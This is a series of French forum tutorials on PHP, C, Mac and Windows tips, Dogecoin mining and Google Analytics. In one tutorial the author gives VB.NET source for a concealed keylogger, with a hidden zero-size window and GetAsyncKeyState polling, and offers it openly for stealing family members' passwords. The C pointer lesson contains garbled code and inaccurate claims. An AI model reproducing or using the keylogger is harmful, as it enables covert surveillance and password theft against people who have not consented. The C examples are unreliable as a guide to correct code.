imagepng($img); imagedestroy($img) ?> ps: la fonction dechex() permet de transformer un chiffre décimal en hexadécimale pour le code couleur. et donc le test de la captcha en requête POST (par exemple) donnerait: <?php session_start(); if (isset($_POST['antirobot'])) { if ($_POST['antirobot']==$_SESSION['code']) { echo "Le code est valide"; } else { echo "Le code est incorrect"; } } ?> Rendu final: moche et compliqué à lire, c'est ça le principe? non à vous de modifier Bonne programmation à tous! Cordialement, Mars073
  11. Bonjour all, Je vais vous expliquer comment générer une image en php. je vais partir directement sur un exemple assez complexe vous allons nous baser sur l'image suivante (j'avais bien commencé mais bon j'avais la flemme donc j'ai fais un arbre vite fait avec un quadrillage dégeu au dessus trop chiant dessiner à la souris rip mon stylet et un petit personnage très mystérieux et donc dans cet exemple nous allons positionner un personnage sur le quadrillage le coté le plus à gauche est le point d'origine (0, 0). contexte: vous avez votre bonhomme à déplacer sur le quadrillage grace à une variable $x et $y que l'on dans l'url ($_GET) et vous devez conserver la transparence des 2 images. <?php $x = $y = 0; // on initialise la variable $x et $y à zéro // on test l'existant de ?x et ?y dans l'url et si ils sont compris entre 0 et 6 if (isset($_GET['x'])&&is_numeric($_GET['x'])&& $_GET['x']>=0&&$_GET['x']<=6) $x = $_GET['x']; if (isset($_GET['y'])&&is_numeric($_GET['y'])&& $_GET['y']>=0&&$_GET['y']<=6) $y = $_GET['y']; // on spécifie le type MIME, c'est à dire que le script php va se faire passer pour un autre type de fichier si vous ne mettez pas ça en accédant à la page vous aurez exactement le même résultat que lorsque voys ouvrez l'image avec bloc note header('Content-Type: image/png'); $map = imagecreatefrompng("island_air.png"); // on charge l'île volante $char = imagecreatefrompng("char.png"); // on charge le bonhomme mystèrieux // on copie l'image du petit bonhomme et on la colle sur le terrain avec la position relative imagecopy($map, $char, (210 + ($x * 12) + ($y * 13)), 140 + ($y * 14) - ($x * 10), 0, 0, 23, 43); // on conserve le canal alpha, c'est à dire la transparence imagealphablending($map, false); imagesavealpha($map, true); // on fait le rendu de l'image dans le format MIME imagepng($map); // on supprime les calques que l'on a fait (pour vider la mémoire) imagedestroy($map); imagedestroy($char); ?> donc en récapitulatif vous devez: -choisir le type MIME (format de rendu) [liste utile] -créer à calque à partir d'une image même si elle est distante (ex: imagecreatefromjpeg("http://picture.com/A0001.jpg")) ou vous pouvez créer un calque vide aux dimensions désirées (exemple: imagecreate(600, 400), pour créer une image de 600px de large et 400px de haut). -faire un rendu dans le format que vous aviez choisis (ex: imagejpeg($image)) si vous désirez enregistrer votre rendu vous pouvez le faire directement par exemple en rendu jpg ou jpeg vous ajoutez simplement un paramètre avec le nom de destination exemple: <?php imagejpeg($image, "rendu.jpg"); // vous pouvez aussi choisir la qualité en ajoutant un troisième paramètre de 0 à 100 ou de 0 à 75 selon le format imagejpeg($image, "rendu.jpg", 45); // vous pouvez aussi choisir le rendu sans enregistrer en remplacant la destination par NULL: imagejpeg($image, NULL, 45); ?> > documentation php si vous avez eu du mal à comprendre la syntaxe de image copie de vous invite à Cliquer ici. Si vous desiez vous pouvez rendre moins mystérieux le bonhomme on lui mettant un nom au dessus de sa tête avec la fonction imagestring(); ça vous fera un petit exercice Bonne programmation à tous! Cordialement, Mars073
  12. Vous-voulez savoir si votre Windows est en 32 ou en 64 bits ? Voici la solution ! - Première méthode : Si vous êtes sous Windows 7 : Cliquez sur le bouton démarrer, ou sur la touche "Windows" de votre clavier, ensuite suivez ce chemin -> Panneau de configuration -> Système et sécurité -> Système. Vous n'avez plus qu'à regarder : 32 ou 64 bits. Si rien n'est marqué, c'est que vous êtes généralement en 32 bits. Si vous êtes sous Windows 8 : déplacez votre curseur dans un des coins droits de votre écran pour ouvrir la barre des Charmes puis -> Paramètres -> Infos PC. Vous n'avez plus qu'à regarder ! Pour accéder à cet écran avec des raccourcis, tapez sur la Touche Windows + Pause sur le clavier, ou clic droit sur "Ordinateur" ou "Poste de travail" puis sélectionner "Propriétés". - Seconde méthode : Cette méthode est cette fois-ci plus rapide, mais tout aussi efficace. Rechercher dans C:\ le dossier C:\Program Files(x86), qui montre directement que votre ordinateur est en 64 bits. Si ce dossier n'est pas sur votre ordinateur, cela veut dire que vous êtes probablement en 32 bits. (inspiré par le dossier sur le site commentcamarche.)
  13. Bonjour à tous, Aujourd'hui, nous allons apprendre à assimiler la notion de pointeurs, de tableaux et de chaines de caractères. Je vais tenter de vous expliquer le fonctionnement d'un pointeur par des exemples variés. Pourquoi? Eh bien, par mon expérience, la notion de pointeurs est une chose qui m'a fait fuir à l'époque ou j'avais commencé le C, mais uniquement à cause de la difficulté à comprendre le principe. Je vais donc essayer d'être le plus claire possible. Ce qui nous amène donc à la première partie: I- Un pointeur, Kesako? Alors, un pointeur, ça n'a rien de bien méchant. C'est une variable, comme les autres, qui permet de contenir une adresse (généralement, l'adresse d'une autre variable, on parle bien sur des adresses MEMOIRE) Pour mieux comprendre, voyons ce qui se passe lors de la création d'une variable. Lorsque vous créez une variable, de type char par exemple, lors de l'exécution de votre programme, votre programme va prévoir une place en mémoire pour contenir votre variable. Cette place va être reconnue grâce à une adresse, qui peut être contenue dans un pointeur. Il faut se dire qu'un type char permet de contenir 8 bit de données (soit en valeur maximale numérique de 255), et qu'un type int peut contenir jusqu'à 32 bits de données (en fonction de la version de votre machine, sur un 64 bits, il aura 64 bits). (Vous comprenez mieux pourquoi les typages ont été inventés, et pourquoi il est important de bien choisir son type de variable). Donc, lorsque vous lancer votre programme, la machine va allouer un endroit dans la mémoire et lui donner une adresse qui permettera de dire "ICI, la variable X est stockée". Un pointeur va donc contenir l'adresse d'une variable, pour pouvoir modifier le contenu de la dite variable (vous verrez que la gestion d'adresses est importante lorsqu'on va jouer avec les tableaux). Donc, comprenons par l'exemple. Je vais créer un programme, qui définit une variable de type char a, et une autre variable b, qui sera un pointeur sur la variable a. void my_putchar(char c) { write(1, &c, 1); // Voir cours 1 pour cette fonction } int main(void) { char a; // Déclaration de la variable a char *b; // Déclaration du pointeur B, le * permet de définir au PC qu'il s'agit d'un pointeur. a = 'b'; // On assigne une valeur à la variable a. my_putchar(a); // ceci affichera: b b = &a; // On assigne à b l'adresse de a, le signe & permet de définir que l'on récupère l'adresse de a dans b *b = 'c' // On assigne enfin à l'adresse choisie la valeur 'c'. le * définit que l'on modifie le contenu de l'adresse mémoire et NON PAS l'adresse en elle même! my_putchar(*; // On affiche la valeur de b my_putchar(a); // On affiche la valeur de a, et on se rends bien compte qu'elle a changée! return (0); } Vous savez à présent ce qu'est un pointeur et comment l'utiliser. II- Les tableaux statiques: WTF is that shiet? Pour faire simple, un tableau, c'est un "regroupement" de variables du même typage, dont les adresses sont suivies les unes après les autres. Prenons pour exemple une "mémoire" vide: |00| |01| |10| |11| | | | | | | | | Pour l'instant elle ne contient aucune données, déclarons alors notre tableau de char, et ayant 3 de grandeur |00| |01| |10| |11| |yy| |xx| |xx| | | Dans notre cas, yy corresponds au début du tableau, et les xx représentent les valeurs contenues dans ce tableau. Comme vous pouvez le constater, les valeurs se suivent. Donc, en théorie, si on a un pointeur qui pointe sur l'adresse de yy, on peut parcourir notre tableau. On peut donc affirmer qu'un tableau n'est rien d'autre qu'un pointeur qui pointe sur la première valeur de celui-ci. Pour mieux comprendre, imaginons que je déclare un tableau comme ceci: char tab[3]; Lorsque je vais tenter d'accéder à la première valeur, je vais donc faire ceci: tab[0]; Eh bien, vous pouvez aussi y accéder en utilisant directement l'adresse de ce tableau *(tab + (0 * sizeof(char)); Je viens donc de vous démontrer que le contenu des [] n'est que le multiplicateur d'accès à la "case" du tableau. Il suffit d'ajouter à notre pointeur un multiple de la taille de son typage pour accéder à la valeur suivante! La démonstration est faite: Un tableau est un pointeur. Mais attention! Un tableau est un pointeur, mais un pointeur n'est PAS toujours un tableau. III- Les chaines de caractères: Tu voulais pas plutôt dire chaines de vélo?! Nous allons essayer de comprendre ensemble comment fonctionne une chaine de caractères. Et il n'y a pas de meilleurs langages que le C pour vous expliquer le principe même d'une chaine de caractères. Nous avions déjà vu dans le cours #1 qu'une chaine de caractères n'était rien d'autre qu'un tableau contenant, dans chacune de ses cases, un caractère. Par exemple: char tab[6]; tab[0] = 'c'; tab[1] = 'o'; tab[2] = 'u'; tab[3] = 'c'; tab[4] = 'o'; tab[5] = 'u'; le tableau que je viens de déclarer contiendra "coucou". La déclaration ci-dessus est fausse. Le problème étant que lorsqu'on va vouloir afficher cette chaine, on ne saura JAMAIS lorsqu'elle va s'arrêter, et donc, on risquera de provoquer ce qu'on appelle un "segfault" ou "segmentation fault" (ce qui corresponds à une tentative d'accès mémoire qui n'appartiens pas à votre logiciel). Il est donc primordial de dire à votre programme quand est-ce que cette chaine s'arrête. C'est en faite très simple à mettre en place, il suffit de rajouter, dans la dernière case, le caractère '\0' (qui signifie 0 en valeur numérique). Par exemple: char tab[7]; tab[0] = 'c'; tab[1] = 'o'; tab[2] = 'u'; tab[3] = 'c'; tab[4] = 'o'; tab[5] = 'u'; tab[6] = '\0'; Nous venons de définir une fin à notre tableau. Il existe d'autres façon de déclarer un tableau de caractères, comme ceci: char tab[] = "coucou"; Vous savez à présent comment fonctionne une chaine de caractères. Allons encore plus loin à présent. Je vous ai démontré toute à l'heure qu'un tableau était un pointeur. Je peux donc affirmer que je peut utiliser l'adresse principale d'un tableau pour déclarer une chaine de caractères. Voyez plutôt: char *machaine; machaine = "coucou"; Que c'est il passé ici? C'est très simple. Nous avons déclaré un espace de type "tableau de char" dans notre mémoire grâce aux guillemets que nous avons ajouté lors de la définition de la valeur du pointeur "machaine". Le pointeur pointe donc sur l'adresse du premier caractère. (ici, le premier 'c') Notre pointeur va donc pouvoir se comporter comme un tableau, puisqu'un tableau est un pointeur. Voyez par exemple: machaine[0]; //renvois c machaine[4]; //Renvois o machaine[7]; // provoquera un segfault // Ici, je change la valeur d'une des cases par une autre valeur: machaine[0] = 'A';// Ma chaine vaut donc "Aoucou"! // Je peut aussi procéder comme ceci: *(machaine + (0 * sizeof(char)) = 'A'; Voila, je viens de vous inculquer les bases de la gestion de pointeurs et de tableaux. A bientôt pour un prochain cours! Cours écrit par AlexMog. Contact: alexmog [at] live [point] fr
  14. Bien le bonjour à vous tous ! Aujourd'hui, je vous présente un tutoriel pour ouvrir le gestionnaire de tâche ! Beaucoup de personne ne savent pas faire et sois redemarre sois le mac, sois attende super longtemps que l'application se termine ! Commençons ! Allez dans le menu Spotlight en haut à droite, la loupe ! Cliqué dessus et écrivé : Moniteur d'activité Lancez l'application ! Cliqué sur l'application à arrêté puis faite Quitter l'opération ! Voilà, votre application est fermé ! Cordialement, Egzylium.
  15. Bien le bonjour à vous tous ! Aujourd'hui je vous présente un tutoriel pour pouvoir : • Passez son TextEdit d'une source de logiciel de rédaction a une source de codage. Je m'explique, TextEdit au lancement est comparable a Word sur Mac, après, NotePad sur Windows. Commençons : Ouvrez TextEdit.app ! Une fois ouvert, allez dans la barre en haut a gauche, sur format et cliqué sur Convertir au formet Texte ! Voilà, vous pouvez commencez à codé ! Petit tutoriel mais qui vous évitera de téléchargé des logiciels autres ! Cordialement, Egzylium.
  16. Egzylium

    Videz son cache !

    Bien le bonjour à tous ! Aujourd’hui je vous présente ce tutoriel pour deux raisons : - 1 : Car c’est le premier thread pour la section Mac ; - 2 : Car beaucoup de personnes ne savent le faire ; Donc. Commencez par ouvrir votre navigateur ! Pour ma part, Safari, l’icône du milieu ! Une fois le navigateur ouvert, allez dans la barre de tâches tout en haut ! Puis, cliqué sur Safari & videz le cache ! Vous pouvez aussi faire faire Alt commande E comme marqué ! Relancez votre navigateur ! Voilà, votre cache a été vidée ! Cordialement, Egzylium.
  17. Bonjour, je vais vous expliquez comment faire un enregistreur de frappe.^^ pour trouver le mot de passe de votre frère, votre mère, votre grand-père ou votre hamster... Il faut: -1 Form (Config: ShownInTaskbar=False; RightToLeftLayout=True; FormBorderStyle=None; Size=0; 0) -1 Textbox (Config: visible=False) (Ancrer le textbox en fessant un clique sur le petit carré avec un triangle dessus) -2 Timer (Config T1: Enabled=True; Interval=2) (Config T3: Enabled=True; Interval=100) -1 NotifyIcon (Config: Icon=[votre Icône Windows) -1 Icône windows de préférence KDO: un lien vers un site plein d'icône cool: ->Lien<- (lien icone windows) et c'est partit pour le code... u_u double clique sur la form pour afficher le code (oublier pas que il y a les textbox dessus, donc retirez le le temps de mettre le code) et au dessus, donc après Public Class [votre form]: Dim result As Integer Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integeret dans l'handle (le code form_load): Timer1.Start() Timer2.Start() Me.Visible = Falsemaintenant double clique sur le timer1 pour afficher le code et on met dedans : For i = 1 To 255 result = 0 result = GetAsyncKeyState(i) If result = -32767 Then TextBox1.Text = TextBox1.Text + Chr(i) ' on ajout le caractère qui est envoyé par le clavier à la suite de deux déjà capté End If Next iDouble clique sur le NotifyIcon1 pour afficher le code et on met dedans : Me.WindowState = FormWindowState.Normal Me.Height = 300 ' hauteur Me.Width = 300 'largeur Me.ShowInTaskbar = True 'affichage dans la barre de tâche Me.FormBorderStyle = Windows.Forms.FormBorderStyle.Sizable ' style de bords... Me.Visible = True ' si on l'affiche TextBox1.Visible = True ' si on affiche les caractères masqués Me.AllowTransparency = False Me.RightToLeft = Windows.Forms.RightToLeft.Inherit Me.Show() Double clique sur le Timer2 pour afficher le code et on met dedans : If Me.WindowState = FormWindowState.Minimized Then 'on test l'état de la fenêtre Me.Height = 0 'plein de paramètre chiant à expliquer Me.Width = 0 Me.ShowInTaskbar = False Me.FormBorderStyle = Windows.Forms.FormBorderStyle.None Me.Visible = False TextBox1.Visible = False Me.AllowTransparency = True Me.RightToLeft = Windows.Forms.RightToLeft.Inherit 'code by Mars073 End Ifsi vous cliquez sur play pour tester le programme il ne marchera par forcément, il faut le publier... les frappes ne sont pas très facile a lire mais d-quand on clique du effacer, ça ne supprime pas le texte enregistré.^^Et quand on a fini on fait un double clique sur l'icône et le texte enregistré. Bonne programmation à tous! Cordialement, Mars073
  18. Bonjour à tous, Je viens partager une astuce déjà relativement connue mais qui est très intéressante. En effet, sous android, le fond d'écran est pour dire une chose chiante à configurer. Il s'affiche sur plusieurs bureau et bouge toujours. Pour combler ce soucis je vous propose une petite application: Multipicture Live Wallpaper Grâce à elle, vous allez pouvoir 1. Mettre un fond d'écran statique sur tout les bureau 2. Mettre un dossier de fond d'écran qui changera toute les x minutes; Donc tout d'abord, installez la depuis le playstore: https://play.google.com/store/apps/details?id=org.tamanegi.wallpaper.multipicture&hl=fr Attention, ne supprimez pas l'icone sinon c'est difficile de relancer le logiciel puisqu'il n'affiche pas d'icone dans le menu. Donc soit vous gardez l'icone sur le bureau, soit vous irez le rechercher sur le playstore et cliquer sur "Ouvrir" à chaque fois que vous voudrez l'utiliser... Donc maintenant, la fonction pour une seule image est buggué depuis la dernière version de MPLW donc allez quelque part dans votre sd (ou interne) et créez un dossier. Mettez y dedans une image (Ou plusieurs). Ensuite lancez le logiciel, Vous aurez une de vos image et en bas deux boutons. Cliquez sur celui de gauche et vous arriverez sur le menu du logiciel: Rendez vous dans Common settings, puis cliquez sur Picture source. Selectionnez ensuite "Picture Folder" et recherchez le dossier que vous venez de créer. Ensuite, choisisez le menu "Crop/Resize ratio" et cochez "Show entire picture". Revenez ensuite sur le premier menu et cherchez "Picture Change Interval", si vous n'avez qu'une seule image, choisissez "Never" sinon prenez la valeur que vous souhaitez. Vous pouvez ensuite revenir sur votre bureau et ... Magie, votre image s'affiche correctement et n'est pas découpé en plusieurs bureau !
  19. Shalut all, Je vais vous expliquer comment faire des tests et c'est super simple Il y a juste plein de façon de le faire! xD Pour faire un test simple, on fait comme ceci: If ([valeur à tester] [symbôle du test (voir le bas)] [La valeur à la quelle elle est comparée]) { [Le code à exécuter si le test se révèle positif]; } exemple: If ($check == true) { include("W\tourbilol.php"); } // ou If ($check == true): include("W\tourbilol.php"); endif; // ou If ($check == true) { include("W\tourbilol.php"); } // ou If ($check == true) {include("W\tourbilol.php");} // ou If ($check == true) include("W\tourbilol.php"); // Ces systaxes ont exactement le même effet // version courte souvent utilisée dans la syntaxe: <?=([condition]) ? 'oui' : 'non'?> : include ($check == true) ? "W\tourbilol.php" : "W\tourbilol_v2.php"; Imaginons que nous programmons un jeu et que vous voulons tester la position_X soit 3 et que le position_Y soit 5 on va faire comme cela: If (($position_X=3) AND ($position_Y=5)) { [Le code à exécuter si le test se révèle positif]; } // ou If (($position_X=3) && ($position_Y=5)) { [Le code à exécuter si le test se révèle positif]; } Il suffit juste de mettre les 2valeurs entre parenthèse et de mettre un "And"(et) ou "&&" entre les deux.^^ Toujours facile.. alors on va compliquer les choses x) Imaginons toujours notre petit jeux, cette fois je veux que la position_X soit 3 ou 5 et que que la position_Y soit 5 toujours simple mais bon : If ((($position_X=3) OR ($position_X=5)) AND ($position_Y=5)) { [Le code à exécuter si le test se révèle positif]; } // ou If ((($position_X=3) || ($position_X=5)) && ($position_Y=5)) { [Le code à exécuter si le test se révèle positif]; } on ajoute encore des parenthèses et on met un "Or"(ou) ou "||" même principe que le "And" On monte encore un peu dans la difficulté Cette fois la position_X doit être compris entre 3 et 5 et la position_Y doit doit être 5. è_é If ((($position_X>3) AND ($position_X<5)) && ($position_Y==5)) { [Le code à exécuter si le test se révèle positif]; } Cette fois le test demande si le nombre est supérieur et si il est inférieur ^^ Maintenant on va demander que si number est 1 il envoie un message "c'est 1!"; si c'est 2 un message "c'est deux" et si ce n'est pas un des deux, le programme envoie un message "chiffre inconnu", et pour cela on va mettre un "ElseIf": If (number==1) { echo "c'est 1!"; } ElseIf (number==2) { echo "c'est 2!"; } Else { echo "chiffre inconnu"; } Il existe aussi la méthode du "Case Of" ou plus communément appellé "Switch()" en PHP: Switch (number) { Case 1: echo "c'est 1!"; break; // Important! Il faut mettre un "break;" à la fin du code à exécuter si la condition est remplie. Case 2: echo "c'est deux!"; break; Case 3: Case 4: echo "c'est trois ou quatre!"; Break; Default: // Équivalent d'un "Else" echo "chiffre inconnu"; } Les symboles de test === : est égale exactement... (le plus souvent utilisé lors d'un test avec une fonction par exemple qui retourne une valeur booléen [ true ou false]) !== : n'est pas du tout commun avec ... == : égale à ... > : supérieur à ... < : inférieur à ... >= : supérieur ou égale à... <= : inférieur ou égale à... != : n'est pas égale à... Fonction utile: empty et isset:Empty sert à tester si une valeur est vide Isset sert à tester si la variable existe (n'est pas égale à null) // On test si la variable $text est vide: if (empty($text)) {echo "Le texte est vide";} // On test si la variable id contenu dans l'url existe (ex: http://0.0.0.0/view.php?id=1234&AutreVar=0) if (isset($_GET['id'])) {echo "Article N°", $_GET['id'];} // ou aussi : if ($_GET['id']) {echo "Article N°", $_GET['id'];} test en une ligne, afficher "online" si $test = 1 et "offline" dans le cas contraire: echo ($test==1) ? "online" : "offline"; Bonne programmation à tous! Cordialement, Mars073
  20. Bonjour, voici un tutoriel pour miner du Dogecoin, le tutoriel a été fait sur http://www.dogecoinfan.com/comment-miner-du-dogecoin/. C'est à eux qu'on doit ce tutoriel, merci à eux. Tutoriel : Comment miner du Dogecoin pas à pas? Comme vous avez pu le voir le Dogecoin est une monnaie pleine de surprises. Il est donc temps de voir ensemble comment remplir son « wallet ». Ce dernier doit donc être installé, si ce n’est pas encore fait je vous invite à suivre ce lien : http://www.dogecoinfan.com/comment-installer-utiliser-le-wallet-dogecoin/ I) Connaitre son matériel a) AMD ou NVIDIA ? La première étape est de connaître son matériel. La plupart des ordinateurs peuvent être utilisés pour miner une cryptomonnaie, cependant votre gain journalier dépendra entièrement de votre configuration. Dans ce tutoriel nous allons voir comment utiliser votre carte graphique pour miner. Pour faire court il y a deux grandes firmes proposant des cartes graphiques, AMD et NVIDIA. Il est possible de miner avec les deux, mais les cartes AMD sont plus puissantes pour le minage. - Sous Windows : Cliquez sur Démarrer puis chercher « Exécuter » et validez. Dans la fenêtre qui est apparue tapez « dxdiag » et validez. Une nouvelle fenêtre s’ouvre, il ne vous reste qu’à cliquer sur l’onglet « Affichage » en haut à gauche. Nous avons donc ici le nom de votre graphique et le constructeur. Gardez cela en mémoire. Utiliser un pool de minage Il est maintenant temps de configurer notre mineur. Pour ceci vous allez devoir choisir un « pool ». En effet, il est difficile de miner seul, donc autant s’entraider. Le principe est simple, plus votre puissance de calcul sera grande (notée en Kh/s) plus vous allez gagner de Dogecoins. Par expérience je ne peux que vous conseiller fast-pool.com, ou le futur pool dogecoinfan.com. Créez-vous un compte puis cliquez sur l’onglet « my workers » à gauche. Dans la colonne à gauche nommée « Add new worker » vous allez pouvoir rentrer un nom pour votre mineur ainsi qu’un mot de passe dédié. Dans le cadre de ce tutoriel je vais créer un worker nommé « DogeCoinFan » et avec pour mot de passe « X ». Validez avec le bouton « Add new worker » Voilà, c’est tout pour le pool. Rappelez-vous, cet endroit vous permettra de gérer vos mineurs actifs. Mais également de retirer vos Dogecoin minés. Il maintenant temps de configurer notre logiciel de minage. II) Configurer un logiciel de minage a) Vous avez une carte graphique NVIDIA Vous allez devoir utiliser le logiciel CudaMiner, disponible ici : https://mega.co.nz/#!UIBwiATb!6pCkYdYkLYQfMw5nZIQRVCjIi8teFj1_vtLaGNv74gY Une fois l’archive extraite gardez seulement les dossiers x86 et x64. Le reste est inutile. Selon votre système d’exploitation vous allez utiliser une certaine version. Si votre ordinateur est récent utilisez la version x64, si cette dernière est incompatible vous aurez un message d’erreur. Nous avons donc un dossier avec comme contenu : Il faut maintenant, avec un clic-droit (clic-droit ; nouveau), créer un nouveau fichier texte dans le même dossier. Nommez celui-ci comme bon vous semble. Puis ouvrez-le avec un éditeur de texte quelconque, le bloc-notes fera l’affaire. Nous avons donc un document vierge sur lequel vous allez copiez-collez cette ligne : cudaminer.exe -o stratum+tcp://LienDuPool -O PSEUDO.NOMDUWORKER:MOTDEPASSE Il ne vous reste plus qu’à modifier en fonction de votre pool. Dans mon cas j’obtiens : cudaminer.exe -o stratum+tcp://188.165.164.185:80 -O pseudo.DogeCoinFan:X Il ne reste plus qu’à enregistrer votre fichier en .bat, une image étant plus parlante : Voilà c’est terminé pour CudaMiner. Vous n’avez plus qu’à lancer le .bat. Sur le dashboard de votre pool vous allez voir vos Dogecoins gagnés ainsi que votre « Hashrate », votre puissance de calcul en sorte. Vous avez une carte graphique AMD Vous allez devoir utiliser le logiciel CgMiner, dans sa version 3.7.2 (les versions plus récentes ne fonctionnent pas avec l’algorithme du Dogecoin), disponible ici : cgminer-4.0.1-windows.zip Après avoir extrait l’archive dans un dossier il faut maintenant, avec un clic-droit (clic-droit ; nouveau), créer un nouveau fichier texte dans le même dossier. Nommez celui-ci comme bon vous semble. Puis ouvrez-le avec un éditeur de texte quelconque, le bloc-notes fera l’affaire. Nous avons donc un document vierge sur lequel vous allez copiez-collez cette ligne: setx GPU_MAX_ALLOC_PERCENT 100 setx GPU_USE_SYNC_OBJECTS 1 (Attention, ces deux lignes permettent de tirer un peu plus de puissance, cependant cela monopolisera votre carte graphique). cgminer --scrypt --worksize 256 -o stratum+tcp://AdresseDeLaPool -u Pseudo.Worker -p MotDePasse –IXX Il ne vous reste plus qu’à modifier en fonction de votre pool. Dans mon cas j’obtiens : cgminer --scrypt --worksize 256 -o stratum+tcp:// 188.165.164.185:80 -u Pseudo.DogeCoinFan -p X –IXX Vous pouvez modifier les deux X en rouge par une valeur allant de 1 à 20 (intensité du minage). Je vous recommande 18 si votre carte graphique est bien refroidie, par mesure de sécurité commencez à 15 et montez progressivement. Il ne reste plus qu’à enregistrer votre fichier en .bat, une image étant plus parlante : Il faut savoir que CgMiner propose beaucoup d’arguments pour optimiser votre minage. Nous les verrons peut être dans un nouveau tutoriel. Voilà, vous pouvez maintenant lancer votre .bat et le minage commencera. Si tout est bien configuré vous devriez voir sous peu (ça peut aller de 1minute à 1H) votre Hashrate dans le « Dashboard » de votre pool. III) Surveiller les températures Il est maintenant temps de surveiller la température de votre carte graphique. Une carte graphique est faite pour chauffer, cependant je vous conseille grandement de maintenir des températures en dessous de 75/80°C. Pour cela n’hésitez pas à baisser l’intensité si vous utilisez CgMiner. N’hésitez pas non plus à augmenter la vitesse des ventilateurs de votre carte graphique. a) EVGA precision EVGA Precision est plutôt un logiciel utilisé pour les cartes NVIDIA, cependant il marche très bien avec ma carte AMD. Vous pouvez le télécharger sur le site de EVGA en vous créant un compte. Son interface est assez simple. La colonne de droite affiche la température et la vitesse du ventilateur. Si vous n’avez pas peur du bruit n’hésitez pas à décocher auto et à monter le curseur. Votre carte chauffera nettement moins. Le milieu est également intéressant. Surtout si vous avez une NVIDIA, je ne vous expliquerai pas à overclocker dans ce tutoriel, cependant, si votre carte chauffe trop vous pouvez baisser le « Power target ». Cela bridera (légèrement) votre carte graphique, elle chauffera donc moins. N’oubliez pas de cliquer sur « Apply » une fois vos modifications effectuées. MSI Afterburner Il fait globalement les mêmes choses que EVGA precision, d’un point de vue personnel je n’aime pas son interface. Cependant, il est peut-être plus pratique en cas d’overclock que le logiciel d’EVGA. Ce qui nous intéresse ici est bien sûr la partie Fan Speed. A vous de régler ça selon la température de votre carte graphique. N’oubliez pas de cliquer sur « Apply » une fois vos modifications effectuées. Voilà, vous êtes maintenant prêt pour miner du Dogecoin. Bonne chance dans votre quête ! To the moon ! N’hésitez surtout pas à partager tout ça sur les réseaux sociaux, et surtout à laisser des commentaires, ils ne seront que bénéfiques pour le site! Merci énormément à JpHysteriak pour la réalisation de ce tutoriel ! (Encore une fois, comme précisé, je ne suis pas l'auteur de ce tutoriel, tout les crédits reviennent donc à JpHysteriak sur DogeCoinFan pour le tutoriel).
  21. Nous allons voir comment intégrer efficacement Google Analytics sur les pages web. Il s'agira d'intégrer la version Universal Analytics (par défaut) en version asynchrone. Le tutoriel se fera en 2 parties, premièrement les étapes d'administration dans l'interface de Google Analytics, puis l'intégration du code de suivi. I - L'interface de Google Analytics 1. Ajouter un site Une fois sur le tableau de bord (disponible ici : https://www.google.com/analytics/web/?authuser=0) Allez dans l'onglet "Admin" tout en haut de la page sur la gauche. Vous arrivez sur une vue à 3 colonnes : Compte, Propriété et Vue. Vous pouvez posséder plusieurs comptes; chaque compte contient des propriétés (plus ou moins un "site", mais cette notion peut-être beaucoup plus fine que cela). Enfin chaque propriété contient des vues, a savoir des accès rapides a des données filtrées. Par exemple, une vue par sous-domaine. Ici, ce qui nous intéresse c'est d'ajouter un site. Nous allons donc crée une propriété. Pour cela, dans le menu déroulant de la colonne "Propriété", sélectionnez "Créer une propriété". 2. Configurer le site Nous avons plusieurs options : Le premier choix consiste à sélection un site web ou une application mobile. En suite, nous devons choisir entre "Universal Analytics" et "Classic Analytics". Dans ce tutoriel, je montrerai l'intégration de la version "Universal Analytics", plus complète. Ensuite donner un nom a votre site web Renseignez le nom de domaine (Attention : de préférence ne pas mettre de "www" sauf dans le cas ou l'on souhaite gérer les sous-domaines séparément) Sélectionnez la catégorie sectorielle. Ici, c'est en fonction du type de site web à suivre, au pire on peut choisir "Autre". Enfin choisissez votre fuseaux horaire préféré Cliquez sur "Obtenir un ID de suivi" et voilà ! Google va vous proposer un code d'intégration, mais je préfère en fournir un autre qui présente plein d’avantages ! Pour poursuivre il faut juste retenir l'ID de suivi généré sous la forme : UA-XXXXXX-X La première partie sera toujours identique pour votre compte et le derniers chiffre s'incrémente à chaque propriété crée. II - Intégrer le code dans une page La première partie s’intègre dans le header de votre page. C'est à dire entre les balises <head> et </head>: <script> (function(doc, script) { var js, fjs = doc.getElementsByTagName(script)[0], frag = doc.createDocumentFragment(), add = function(url, id) { if (doc.getElementById(id)) {return;} js = doc.createElement(script); js.src = url; js.async = true; id && (js.id = id); frag.appendChild( js ); }; // Google Analytics add(('https:' == document.location.protocol ? 'https://' : 'http://') + 'stats.g.doubleclick.net/dc.js', 'ga'); fjs.parentNode.insertBefore(frag, fjs); }(document, 'script')); </script> Alors, c'est quoi ce machin et comment ça marche ? Cette syntaxe permet de charger Google Analytics de manière asynchrone, c'est à dire que sont chargement ne perturbera pas l'exécution de votre page. Concrètement ce script déclenche une fonction anonyme qui va rajouter des balises <script> asynchrones dans le DOM de la page. Pourquoi cette intégration plutôt que celle de Google ? La raison n'est pas liée à Google Analytics lui-même, mais à l'orientation que prennent la plupart des sites aujourd'hui. De plus en plus de code d'intégrations sont fourni avec beaucoup d'API : Google, Facebook, Twitter, etc.... Cette syntaxe permet de rajouter facilement un script asynchrone propre. Exemple avec d'autres API : <script> var pwidget_config = { defaults: { gaTrackSocialInteractions: true } }; window.___gcfg = {lang: 'fr'}; (function(doc, script) { var js, fjs = doc.getElementsByTagName(script)[0], frag = doc.createDocumentFragment(), add = function(url, id) { if (doc.getElementById(id)) {return;} js = doc.createElement(script); js.src = url; js.async = true; id && (js.id = id); frag.appendChild( js ); }; // Google Analytics add(('https:' == document.location.protocol ? 'https://' : 'http://') + 'stats.g.doubleclick.net/dc.js', 'ga'); //Po.st add('http://i.po.st/share/script/post-widget.js#publisherKey=USERKEY'); // Google+ button add('http://apis.google.com/js/plusone.js'); // Facebook SDK add('//connect.facebook.net/fr_FR/all.js#xfbml=1&appId=APPID', 'facebook-jssdk'); // Twitter SDK add('//platform.twitter.com/widgets.js'); fjs.parentNode.insertBefore(frag, fjs); }(document, 'script')); </script> Une fois ce script mis en place, il reste deux petits bout de code à intégrer. Dans le corps de la page, idéalement juste après le <body> Remplacer l'identifiant, par celui fourni par Google. <script type="text/javascript">window.google_analytics_uacct = "UA-XXXXXX-X";</script> Et enfin en toute fin de page juste avant le </body>, on va pouvoir déclencher le script. Vous devez reprécisez les informations sur suivi dans cet appel : le code de suivi et le nom de domaine. C'est également ici que s'intégreront diverses options au besoin. <script type="text/javascript"> var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-XXXXXX-X']); _gaq.push(['_trackPageview']); _gaq.push(['_setDomainName', 